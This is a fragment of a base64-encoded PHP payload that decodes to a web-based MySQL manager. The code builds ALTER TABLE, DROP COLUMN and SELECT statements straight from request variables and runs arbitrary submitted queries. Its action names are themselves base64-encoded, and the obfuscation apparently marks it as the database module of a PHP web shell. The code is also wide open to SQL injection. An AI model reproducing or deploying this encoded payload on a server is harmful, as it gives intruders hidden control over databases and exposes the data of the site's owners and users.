o8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJP